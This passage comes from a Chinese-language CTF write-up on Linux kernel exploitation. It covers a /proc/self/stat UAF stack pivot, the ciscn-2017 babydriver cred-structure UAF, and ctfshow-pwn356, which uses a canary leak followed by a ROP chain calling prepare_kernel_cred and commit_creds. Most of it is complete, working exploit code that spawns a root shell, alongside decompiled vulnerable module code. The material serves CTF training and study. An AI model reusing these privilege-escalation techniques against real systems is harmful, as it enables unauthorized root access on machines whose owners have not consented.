nbuf[i++] = swapgs_restore_regs_and_return_to_usermode;
nbuf[i++] = 0;
nbuf[i++] = 0;
nbuf[i++] = (size_t)&modprobe_rce;
nbuf[i++] = user_cs;
nbuf[i++] = user_rflags;
nbuf[i++] = user_sp;
nbuf[i++] = user_ss;
puts(g_color "Hijacking RSP...");
read(statfd, (char *)nbuf, 0x11);
}
extern void _start(){
size_t env[0];
environ = (size_t)&env[4];
doMain();
syscall64(60,0);
}
这题的小结
上面利用的是 int statfd = open("/proc/self/stat", O_RDONLY);
会申请一个 0x20 的 堆块,通过UAF对此堆块的控制流劫持(read触发)
这题关闭里 smap 内核可以直接访问用户态的段,所以说 劫持 rsp 就变得简单了
1
2
3
kmalloc(0x400cc0, 0x20) // `open("/proc/self/stat", O_RDONLY)`
不到还有没有其他结构体会用这个flags 0x400cc0
ciscn-2017-babydriver
exploit-1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "minilib.h"
char flag[0x50] = {0};
int odp(char *path){
return open(path, 2);
}
void doMain(){
int fd1 = odp("/dev/babydev");
int fd2 = odp("/dev/babydev");
ioctl(fd1, 0x10001, (char *)0xa8);// 申请 0xa8
close(fd2); // 这里释放,但是 还有一个 fd1 可以继续控制 堆块
int pid = fork(); // 子进程会为struct cred 结构体申请一段内存空间(0xa8字节大小,对应kmalloc-0xc0) 会申请到上面free 的堆块
if(pid==0){
char buf[0x20] = {0};
write(fd1,buf,0x20); // 此时控制的就是 子进程的 cred 结构体, 把前面的个 id 改成空 就提权了
system("/bin/sh");
}else{
wait(NULL);
}
}
extern void _start(){
size_t env[0];
environ = (size_t)&env[4];
doMain();
syscall64(60,0);
}
ctfshow-pwn356
题目分析
可能是哪个比赛的题目吧?
- init 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
chown -R 0:0 /
mount -t tmpfs tmpfs /tmp
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 通过这里可以泄露 kernel 地址
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown 0:0 /root/ctfshow_flag
chmod 400 /root/ctfshow_flag
chmod 777 /tmp
insmod /show.ko
cat /root/logo
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
poweroff -d 120 -f &
setsid ./bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
- 一个LKM 内核模块 漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall show_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 ) // long int 有符号比较,可以负数绕过
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1); // len 是 unsigend short
} // 然后就可以直接栈溢出
return result;
}
unsigned __int64 __fastcall show_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the CTFshow-KernelPWN.\n");
result = copy_to_user(a1, &v5[off], 64LL); // 通过控制 off 的值,可以从kernel stack 上泄露 canary
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
__int64 __fastcall show_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
show_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3; // 可以设置偏移
break;
case 0x6677889A:
printk(&unk_2B3);
show_copy_func(a3);
break;
}
return 0LL;
}
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include "minilib.h"
#define stbase(value) ((value) - 0xffffffff81000000ULL)
int fd;
int odp(char *path){ return open(path, 2); }
size_t hex_string_to_size_t(const char *hex_str) {
size_t result = 0;
if (hex_str[0] == '0' && (hex_str[1] == 'x' || hex_str[1] == 'X')) { hex_str += 2; }
while (*hex_str) {
char c = (unsigned char)*hex_str;
if (c >= '0' && c <= '9') {
result = result * 16 + (c - '0');
} else if (c >= 'a' && c <= 'f') {
result = result * 16 + (c - 'a' + 10);
} else { break; }
hex_str++; } return result;
}
void doMain(){
bind_core(0);
save_status();
fd = odp("/proc/show");
size_t buf[10] = {0};
// show
ioctl(fd,0x6677889C,(char *)0x40);
ioctl(fd,0x6677889B,(char *)&buf);
lss("canary",buf[0]);
size_t *rop = (size_t *)malloc(0x2000);
int fd1 = open("/tmp/kallsyms",0);
char *tmp = malloc(0x1000);
read(fd1, tmp, 0x46);
read(fd1, tmp, 0x10);
tmp[0x10] = 0;
hexdump(tmp,0x100);
size_t kernel_base = hex_string_to_size_t(tmp);
size_t pop_rdi = kernel_base + stbase(0xffffffff81000b2f);
size_t prepare_cred = kernel_base + stbase(0xffffffff8109cce0);
size_t commit_creds = kernel_base + stbase(0xffffffff8109c8e0);
size_t vfork = kernel_base + stbase(0xffffffff81081920);
size_t mov = kernel_base + stbase(0xffffffff813f9ede);// mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret
lss("kernel_base", kernel_base);
//_exit(0);
int i = 8;
rop[i++] = buf[0];
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_cred;
rop[i++] = mov;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = commit_creds;
rop[i++] = kernel_base + stbase(0xffffffff81a008f0);
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t)&get_root_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,(char *)rop,0x200);
ioctl(fd,0x6677889A,(char *)0xffffffffFFFF0100);
}
extern void _start(){
size_t env[0];
environ = (size_t)&env[4];
doMain();
syscall64(60,0);
}
参考文章
1
2
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/
https://blog.csdn.net/qq_61670993/category_12450293_2.html